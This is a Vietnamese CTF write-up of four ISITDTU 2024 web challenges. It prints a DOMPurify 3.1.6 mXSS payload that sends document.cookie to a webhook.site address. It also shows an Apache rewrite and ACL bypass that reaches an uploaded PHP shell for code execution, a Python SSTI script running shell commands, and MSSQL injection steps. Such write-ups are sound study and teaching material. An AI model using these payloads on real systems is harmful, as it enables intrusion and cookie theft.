# ISITDTU CTF 2024 ## X ét ét Đây là một challenge XSS có sử dụng dompurify 3.1.6 làm filter ngăn chặn XSS. Vì challenge sử dụng dompurify 3.1.6 và đây là một challenge XSS nên có thể tại phiên bản 3.1.6 có sẽ có bug và được fix tại phiên bản sau đó 3.1.7. https://github.com/cure53/DOMPurify/releases/tag/3.1.7 ![image](https://hackmd.io/_uploads/HkAXn2igke.png) Để ý dòng 1 và 5, phiên bản đã fix lại comment detection, việc bypass với một số config đặc biệt và foreignObject element. Vì vậy có thể tận dụng những thứ này để bypass XSS đối với phiên bản 3.1.6 Search một hồi em tìm được PoC sau của [@masatokinugawa](https://github.com/masatokinugawa) https://masatokinugawa.github.io/xss/dompurify_3.1.6_foreignObject_bypass.html Sau khi được hint thì em thấy vector sử dụng để bypass filter XSS tại challenge này là mXSS. Đây là vector XSS tận dụng việc tự động sửa lỗi trong quá trình parse HTML với các tag HTML không hợp lệ (tham khảo quá trình sửa lỗi khi parse HTML tại [đây](https://scientyficworld.org/what-does-html-parsing-mean/)).Cụ thể quá việc handle lỗi trong quá trình parse HTML sẽ cố gắng khôi phục lại các HTML tag bị sai syntax.Ví dụ: ![image](https://hackmd.io/_uploads/H1e8Bajxyg.png) ![image](https://hackmd.io/_uploads/HybPr6jl1x.png) Ở ví dụ trên, thẻ h1 đã bị lỗi nhưng qua quá trình handle lỗi khi parse HTML của trình duyệt thì lại trở thành một thẻ h1 hoàn thiện. Vì vậy em có thể tạo ra các tag HTML bị lỗi để bypass được filter và tận dụng quá trình sửa lỗi trên để parse HTML trên trình duyệt một cách hợp lệ. Chi tiết về mXSS xem tại [đây](https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/). Bằng việc tận dụng kĩ thuật này em có thể bypass được filter của dompurify 3.1.6 ![image](https://hackmd.io/_uploads/SkvvQTilye.png) ![image](https://hackmd.io/_uploads/ryDYXpsekl.png) Payload: ``` <svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=fetch('https://webhook.site/9304ff65-b2f9-4e4b-8eb9-58edf4866d8f' + document.cookie)>">. ``` ![image](https://hackmd.io/_uploads/BJj_5nie1e.png) **FLAG: ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}** ## s1mple ### Phân tích Check thử https://hub.docker.com/u/servertest2008 thì em thấy được có 2 repo: ![image](https://hackmd.io/_uploads/r1kateRxke.png) Hướng ở đây là xem 2 repo này có gì khác nhau không để tìm ra hướng exploit. Sau khi build challenge qua Docker thì em nhận thấy một điều là challenge dùng Apache/2.4.18 và mod [dump_io](https://httpd.apache.org/docs/2.4/mod/mod_dumpio.html), mod [rewrite](https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html), mod [proxy](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html). ![image](https://hackmd.io/_uploads/B1dtilCgJl.png) ``` root@b3d2eb89c100:~# ls /etc/apache2/mods-enabled/ access_compat.load authn_core.load authz_user.load deflate.load env.load mpm_event.conf proxy.conf setenvif.conf alias.conf authn_file.load autoindex.conf dir.conf filter.load mpm_event.load proxy.load setenvif.load alias.load authz_core.load autoindex.load dir.load mime.conf negotiation.conf proxy_fcgi.load status.conf auth_basic.load authz_host.load deflate.conf dump_io.load mime.load negotiation.load rewrite.load status.load root@b3d2eb89c100:~# apache2 -v Server version: Apache/2.4.18 (Ubuntu) Server built: 2020-08-12T21:35:50 ``` Về mod_dumpio, đây là một mod cho phép logging toàn bộ input nhận được bởi Apache và toàn bộ output được gửi bởi Apache vào error.log. Để kích hoạt mod này, nó phải được compile và load vào Apache config. Ngoài ra, mod_dumpio cần đucợ config tới LogLevel trace7. ![image](https://hackmd.io/_uploads/S1uD2-AeJg.png) Kiểm tra nào: ``` root@b3d2eb89c100:/etc/apache2# cat apache2.conf # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific .... LogLevel dumpio:trace7 DumpIOInput On DumpIOOutput On ``` Check thử xem log có bị xóa hay không? ``` root@b3d2eb89c100:/var/log/apache2# ls access.log access_php.log error.log error_php.log other_vhosts_access.log ``` Author không hề xóa log, điều này có thể giúp ích trong việc exploit. Ngoài ra phiên bản php sử dụng cho challenge là PHP 7.0.33 ``` root@b3d2eb89c100:/etc/apache2# php -v PHP 7.0.33-0ubuntu0.16.04.16 (cli) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies with Zend OPcache v7.0.33-0ubuntu0.16.04.16, Copyright (c) 1999-2017, by Zend Technologies ``` Và cho phép .htaccess tại document root: ``` root@b3d2eb89c100:/etc/apache2/sites-available# cat 000-default.conf <VirtualHost *:80> DocumentRoot /var/www/html/src <FilesMatch "\.php$"> SetHandler "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/" </FilesMatch> <Proxy "fcgi://localhost/" enablereuse=on max=10> </Proxy> <Directory /var/www/html/src/> Options FollowSymLinks AllowOverride All </Directory> RewriteEngine On RewriteRule ^/website-(.*).doc$ /$1.html RewriteCond %{REQUEST_METHOD} OPTIONS RewriteRule ^(.*)$ $1 [R=200,L] ErrorLog ${APACHE_LOG_DIR}/error_php.log CustomLog ${APACHE_LOG_DIR}/access_php.log combined </VirtualHost> ``` Bắt đầu tìm kiếm trong source code, em tìm thấy 1 file **.htaccess** ``` <Files "admin.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files "adminer.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files "xmlrpc.php"> AuthType Basic AuthName "Admin" AuthUserFile "/.htpasswd" Require valid-user </Files> <Files .env> Order allow,deny Deny from all </Files> ``` File này được tạo bởi root yêu cầu người dùng xác thực khi truy cập tới admin.php, adminer.php, xmlrpc.php, tham khảo thêm tại [đây](https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-apache-on-ubuntu-14-04). Thông tin xác thực nằm trong AuthUserFile là /.htpasswd. Đây cũng là file chứa flag. Đọc source code file admin.php: ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin Page</title> </head> <body> <h1>Welcome to the Admin Page</h1> <?php error_reporting(0); if (isset($_GET['pages']) && !empty($_GET['pages'])) { $page = "./pages/" . $_GET['pages'] . ".html"; include($page); } else { echo '<a href="?pages=1"> Link </a>'; } ?> </body> </html> ``` File này có hàm include() -> Hướng tới vector LFI. ``` $page = "./pages/" . $_GET['pages'] . ".html"; ``` Nhìn vào biến page, hướng đầu tiên em nghĩ là dùng null-byte(%00) hay path truncation tuy nhiên những phương pháp này đã không còn sử dụng được từ bản 5.X.X(không nhớ nữa @@). Tới đây thì stuck... Em có đang bỏ xót điều gì không ta? Không biết author có để lại gì không? Thử xem trong thư mục /root:![image](https://hackmd.io/_uploads/Hy0ugQRlJx.png) Có vẻ author đã cố tình không xóa .bash_history để làm hint. Vào đọc .bash_history xem có gì: ``` vi /etc/apache2/.htpasswd nano /etc/apache2/.htpasswd rm /etc/apache2/.htpasswd cd git clone https://github.com/anouarbensaad/vulnx.git apt install python3-pip apt update apt install python3 python3-pip ls cd vulnx/ ls pip3 install -r requirements.txt ./install.sh bash install.sh apt install sudo ./install.sh vi install.sh nano install.sh ./install.sh cd /usr/share/vulnx/ ls cat install.sh nano install.sh ls cd ls rm -rf vulnx/ cd /usr/share/vulnx/ ls cd shell/ ls mkdir cat VulnX.php ls mkdir uploads chmod 777 uploads/ ls -la rm -r uploads/ mkdir uploads cd uploads/ l ls touch shell.php chmod 777 shell.php ls -la ls cd .. ls vi VulnX.php nano VulnX.php ls cat uploads/shell.php ls nano uploads/ nano uploads/shell.php nano VulnX.gif nano VulnX.html nano VulnX.php.mp4 nano VulnX.php.png ls cat/ file nano VulnX.zip ls ls -la cd uploads/ ls -la ls ls -la cat shell.php ls -la shell.php nanno shell.php nano shell.php ls nano shell.php cd ls cd /var/www/html/ ls vi src/.htaccess nano src/.htaccess ls /etc/apache2/.htpasswd exit cat /usr/share/vulnx/shell/uploads/shell.php cat /usr/share/vulnx/shell/uploads/shell.php cat /.flag cd /var/www/html/ ls cd src/ ls vi admin.php apt intall vim apt install vim ls vi admin.php cat admin.php ls cd /usr/share/vulnx/ ls cd shell/ ls cd uploads/ ls mv shell.php shell.html ls -la cd .. ls ps aux cd ls cd /var/www/html/ ls cd src/ ls cat admin.php cat .htaccess cat /root/.htpasswd vi .htaccess ls /usr/share/vulnx/shell/uploads/shell.html ls -la /usr/share/vulnx/shell/uploads/shell.html cat /usr/share/vulnx/shell/VulnX.php .... cat /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/VulnX.php ls /usr/share/vulnx/shell/uploads/ cat /usr/share/vulnx/shell/uploads/shell.html cd ls ks ls ls -la / cat /.flag rm /.flag ls ls -la .htpasswd cat /.htpasswd ls ls -la cat .htpasswd rm .htpasswd ls cd / ls ls -la / cat start.sh exit ls cd /var/www/html/ ls cd src/ ls cat /etc/apache2/sites-available/000-default.conf ls vi about.html ls cat index.php mv index.php index.html vi index.html ls vi index.html vi contact.html exit cat /.htpasswd sudo a2enmod dumpio a2enmod dumpio a2enmod dump_io vi /etc/apache2/apache2.conf sudo systemctl restart apache2 service apache2 restart cat /var/log/apache2/error.log cat /var/log/apache2/access_php.log cat /var/log/apache2/access.log cat /var/log/apache2/error_php.log exit ``` Để ý thấy author có vẻ đã clone repo https://github.com/anouarbensaad/vulnx và nhận thấy trong repo này có một số file khả nghi ![image](https://hackmd.io/_uploads/Sy-6ZmRlkl.png) Nó lại rất giống với một số file sau trong **.bash_history**: ``` ls /usr/share/vulnx/shell/uploads/shell.html ls -la /usr/share/vulnx/shell/uploads/shell.html cat /usr/share/vulnx/shell/VulnX.php ``` Vào xem **/usr/share/vulnx/shell**: ``` root@b3d2eb89c100:/usr/share/vulnx/shell# ls VulnX.gif VulnX.html VulnX.php VulnX.php.mp4 VulnX.php.png VulnX.txt VulnX.zip __init__.py cat uploads ``` Đây là các file clone từ repo github trên thì nhận thấy file VulnX.php có chứa một đoạn PHP như sau: ``` <html> </html> <?php error_reporting(0); set_time_limit(0); if($_GET['Vuln']=="X"){ echo "<center><b>Uname:".php_uname()."<br></b>"; echo '<font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = "uploads/"; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>"; } } else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; } ?> ``` Oh, tại đây em tìm thêm được 1 vector khác là File upload Vuln -> RCE. Để ý quay lại log file, có hai điểm mấu chốt cần để ý: 1. Manh mối cho việc bypass auth: ``` 172.17.0.1 - - [29/Aug/2024:08:07:09 +0000] "GET /admin.php%3fa.php?pages=/etc/passwd%00 HTTP/1.1" 200 514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 172.17.0.1 - - [29/Aug/2024:08:07:28 +0000] "GET /admin.php%3fa.php?pages=../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" ``` > admin.php%3fa.php?pages= .... (tại sao lại là admin.php%3fa.php) 2. Manh mối cho sử dụng vector file upload vuln: ``` 172.17.0.1 - - [05/Sep/2024:04:00:14 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc&Vuln=X&a HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 172.17.0.1 - - [05/Sep/2024:04:00:29 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3f.doc?Vuln=X&a HTTP/1.1" 200 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 172.17.0.1 - - [05/Sep/2024:04:00:41 +0000] "GET /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 503 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 172.17.0.1 - - [05/Sep/2024:04:00:56 +0000] "POST /website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc HTTP/1.1" 200 462 "http://127.0.0.1:8888/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" ``` > Ủa? Không tận dụng LFI nhưng tại sao author vẫn có thể access được tới /usr/share/vulnx/shell/VulnX.php? /website- : nó là gì vậy ? Trả lời được những câu hỏi này challenge sẽ được giải quyết thành công. ### Exploit Phân tích rất nhiều và giờ là bước exploit. 1. Trước tiên giải quyết vấn đề đầu tiên là bypass được auth: Thử search keyword như Apache/2.4.18 vulnerability ![image](https://hackmd.io/_uploads/ByM3PVCgke.png) Để ý thấy "mod_rewrite" có khả năng liên quan đến case hiện tại vì khi đọc config cũng thấy các rewrite rule xuất hiện. Thử search tiếp keyword CVE-2024-39573 analyst: ![image](https://hackmd.io/_uploads/HJdsONCe1g.png) Ở đây, em thấy một bài blog có liên quan đến CVE này. Để ý đoạn ***Primitive 1-2. ACL Bypass*** Vuln xuất hiện do sự không nhất quán trong cách xử lý **r->filename** giữa các module của Apache. Cụ thể, **mod_proxy** coi **r->filename** là một URL, điều này hợp lý vì chức năng chính của proxy là "forward" request tới các URL khác. Tuy nhiên, vấn đề xảy ra khi các module khác mặc định coi **r->filename** là một đường dẫn tới hệ thống tập tin (filesystem path).Cấu hình này có thể bypass trong default setting của PHP-FPM! Đây cũng là cách phổ biến để cấu hình xác thực trên Apache HTTP Server. Đọc chi tiết tại [đây](https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/). Dựa trên bài viết trên em có thể bypass auth như sau: ![image](https://hackmd.io/_uploads/S1lDaNRx1x.png) 2. Access file bất kì dựa trên việc lợi dụng Rewrite Rule Khi đọc config ở /etc/apache2/sites-available/000-default.conf em nhận được một Rule sau: ![image](https://hackmd.io/_uploads/r1kZC4Clkx.png) Phân tích đoạn regex: mở đầu bằng **/website-** sau đó là một chuỗi bất kì tương ứng với $1 và **.doc** sẽ được rewrite thành /$1.html. Điều này có nghĩa em có thể access tới **/usr/share/vulnx/shell/VulnX.php** bằng **/website-/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.doc** sẽ được rewrite thành **/usr/share/vulnx/shell/VulnX.php%3fVuln=X&a.html** ![image](https://hackmd.io/_uploads/r13vbHAxkx.png) Nice!!! Giờ thì upload file và RCE(qua include()): ![image](https://hackmd.io/_uploads/rkH6GSCx1e.png) ![image](https://hackmd.io/_uploads/H11wmHRlye.png) ## Another one Đây là một bài whitebox viết bằng Flask(Python) và database SQLite3. Flask app này gồm 3 chức năng khá cơ bản là đăng kí, đăng nhập, render template. Check qua một lượt thì ứng dụng dùng template Jinja2 (đây là một template mặc định của Flask) Đọc qua một lượt source code, nhận thấy ở route /render: ``` @app.route('/render', methods=['POST']) def dynamic_template(): token = request.cookies.get('jwt_token') if token: try: decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) role = decoded.get('role') if role != "admin": return jsonify(message="Admin only"), 403 data = request.get_json() template = data.get("template") rendered_template = render_template_string(template) return jsonify(message="Done") except jwt.ExpiredSignatureError: return jsonify(message="Token has expired."), 401 except jwt.InvalidTokenError: return jsonify(message="Invalid JWT."), 401 except Exception as e: return jsonify(message=str(e)), 500 else: return jsonify(message="Where is your token?"), 401 ``` Tại route này, có sự xuất hiện của render_template_string(), đây là một sink thường thấy trong SSTI với [Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#lab). Tuy nhiên, để thực hiện SSTI thì phải bypass được điều kiện role là admin. ![image](https://hackmd.io/_uploads/S1OS10x-yg.png) Tại đây có một thứ rất đang nghi. Tại sao lại có đoạn xử lí data này? ![image](https://hackmd.io/_uploads/ry4a7l--Jg.png) Mặt khác, chức năng đăng kí lại có thể chỉnh sửa trường `role`. ![image](https://hackmd.io/_uploads/SyVQuxZZye.png) Search google với keyword `ujson vuln` ![image](https://hackmd.io/_uploads/S1x6OebWye.png) https://security.snyk.io/vuln/SNYK-PYTHON-UJSON-2942122 ![image](https://hackmd.io/_uploads/Skd8YxZZye.png) Dựa vào điều này, em có thể tạo được 1 user với role là admin để có thể thực hiện render template. ![image](https://hackmd.io/_uploads/HJBPilbWyg.png) Exploit script của em: ``` import requests import sys import time BASE_URL = "http://localhost:8082" username = "thanh" password = "thanh" charset = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(){}QWERTYUIOPASDFGHJKLZXCVBNM" session = requests.session() def login(username, password): login_url = f"{BASE_URL}/login" response = requests.post(login_url, json={"username": username, "password": password}) if response.status_code == 200: return response.json().get("message") return None def extract_flag(cookie): flag = "" for i in range(1, 40): for char in charset: render_url = f"{BASE_URL}/render" cookies = {"jwt_token": cookie} json = { "template": f"{{{{ cycler.__init__.__globals__.os.popen('result=$(cat /app/* |grep \"ISITDTU\"); [[ \"${{result:{i-1}:1}}\" == \"{char}\" ]] && sleep 5').read() }}}}" } try: start_time = time.time() response = requests.post(render_url, cookies=cookies, json=json) elapsed_time = time.time() - start_time if elapsed_time > 5: flag += char sys.stdout.write('\r' + flag) sys.stdout.flush() break else: sys.stdout.write('\r' + flag + char) sys.stdout.flush() except requests.RequestException as e: print(f"\nRequest failed: {e}") sys.exit(1) print("\nFlag extraction complete:", flag) return flag cookie = login(username, password) if cookie: print("Login successful. Cookie:", cookie) flag = extract_flag(cookie) else: print("Login failed. Check credentials.") ``` ## Hero Đây là một challenge blackbox. Cũng như các web app cơ bản với 2 chức năng đăng kí và đăng nhập. ![image](https://hackmd.io/_uploads/rylD9PRgyx.png) Đăng kí đăng nhập với credential nothing:nothing Sau khi đăng nhập thành công, trang web cung cấp em 3 route là /heroes, /old-heroes, /genz Tới đây, em dirsearch để tránh bị thiếu các route vì đây là bài blackbox nhưng không thu được gì thêm. Ở route /genz có tham số id có vẻ như đây đơn giản là chức năng hiển thị tác giả qua với tham số id. ![image](https://hackmd.io/_uploads/S1MshP0gJe.png) Định hướng của em ban đầu đối với tham số này là id. Tuy nhiên thử fuzzing một hồi cũng như dùng cả SQLmap vào đây cũng không có phát hiện gì. Chuyển sang route /heroes, tại đây e cũng fuzzing các tham số bằng bộ wordlist https://github.com/whiteknight7/wordlist/blob/main/fuzz-lfi-params-list.txt với hi vọng nếu ra được tham số gì đó có giá trị thì sẽ có thể hình thành được các vector như SQL injection, LFI/path traversal hay IDOR nhưng vẫn không thu được gì. Chỉ còn lại route /old-heroes, em lại tiếp tục thử fuzzing tham số và lần này em nhận được tham số là `name` ![image](https://hackmd.io/_uploads/BkueY_Rl1l.png) Hơn nữa ở đây em thu được một response có vẻ khá hữu ích: ![image](https://hackmd.io/_uploads/S1BROtRxke.png) Em nghi ngờ liệu payload có được nối vào một thứ gì không? Dấu hiệu của một lỗ hổng SQLi? Hơn nữa nhìn syntax có kiểu `OldHeroDB..` thì có thể đoán database challenge dùng là MSSQL. Tuy nhiên phần schema không được chỉ định nên dùng `..` tự hiểu là dùng schema `dbo`. ![image](https://hackmd.io/_uploads/H12TxJkb1e.png) ![image](https://hackmd.io/_uploads/BkRmYKAlye.png) Và có vẻ là SQLi thật. Có một điểm rất em thấy cần lưu ý của bài này là mỗi lần thay đổi với một payload khác nhau lại gây ra lỗi ở vị trí khác nhau. => Payload không chỉ được inject tại một vị trí trong câu truy vấn? ![image](https://hackmd.io/_uploads/BkdjYYCgkx.png) ![image](https://hackmd.io/_uploads/BJW4qYAlJe.png) ![image](https://hackmd.io/_uploads/rylnv5KCe1x.png) ![image](https://hackmd.io/_uploads/Syh9cKAlyg.png) ![image](https://hackmd.io/_uploads/S1Oh9F0gJl.png) ![image](https://hackmd.io/_uploads/r1kfjtAlkl.png) ![image](https://hackmd.io/_uploads/SJ-2pRAgyg.png) Sau quan sát thì có vẻ truy vấn sẽ có dạng: ``` OldHeroDB..payload.* FROM OldHeroDB..payload WHERE OldHeroDB..payload.Id = 1 ``` Đến đây, em có thử sử dụng stacked queries nhưng nó không khả dụng. ![image](https://hackmd.io/_uploads/ryiT2RRg1x.png) Tiếp tục thử thêm một số cách khác(tìm cách để subquery, cheatsheet này nọ luôn) để tìm kiếm điều gì đó nhưng em vẫn stuck. ![image](https://hackmd.io/_uploads/S10BXJ1W1g.png) ![image](https://hackmd.io/_uploads/HJg5HkyW1e.png) Tại sao có làm bất kì điều gì thì cũng đẩy ra lỗi nhỉ? Và em được cho một blog https://cyku.tw/no-database-mssql-injection/. Sau khi đọc blog, em nhận ra một điều, không có database nào tên là OldHeroDB cả, đây cũng là lí do em có làm bất cứ điều gì thì truy vấn cũng đẩy ra lỗi. Và rồi cũng giống như case mà tác giả blog nói `OldHeroDB..payload` thực ra lại có format là `<table_name>.<column_name>.<something>` chứ không phải theo format `<database_name>.<schema_name>.<column_name>` như em đã nghĩ. Chứng minh cho điều này: ![image](https://hackmd.io/_uploads/SyB1GAy-1e.png) ![image](https://hackmd.io/_uploads/Sy2NrIlbyx.png) MSSQL sẽ cắt bỏ những khoảng trắng khi mà xử lí tên cột. Dựa vào điều này, em có thể tạo một tên cột với tên là một chuỗi rỗng. Ý tưởng sẽ thực hiện một truy vấn có dạng: ``` SELECT <tên_bảng>..<something> from (SELECT <something> as [ ]) as <tên bảng>-- - ``` Và tên bảng thì chính là bảng ở đây chắc là OldHeroDB rồi, nhưng chọn cái gì làm `something`? Câu trả lời này đã được tác giả của blog trên trả lời luôn. Đó là dùng một đối tượng geometry và SELECT đến property của đối tượng này chính là STX hoặc STY. ![image](https://hackmd.io/_uploads/BJf__8e-1x.png) ![image](https://hackmd.io/_uploads/HJlvtUlW1x.png) ![image](https://hackmd.io/_uploads/Byvuq8lb1l.png) ![image](https://hackmd.io/_uploads/r1ftq8gWke.png) ![image](https://hackmd.io/_uploads/ByZc98gWkl.png) Tiếp tục thử, em nhận được bảng với 3 cột là id, hero_name và hero_power. Tới đây thì dùng UNION là xong. ![image](https://hackmd.io/_uploads/rJtsi8xZJl.png) ![image](https://hackmd.io/_uploads/Bywg3IlZkl.png) ![image](https://hackmd.io/_uploads/HJIwhUe-yl.png) FLAG: `ISITDTU{R3g4in_m0t1vation_w1th_s1mpl3_SQL1}`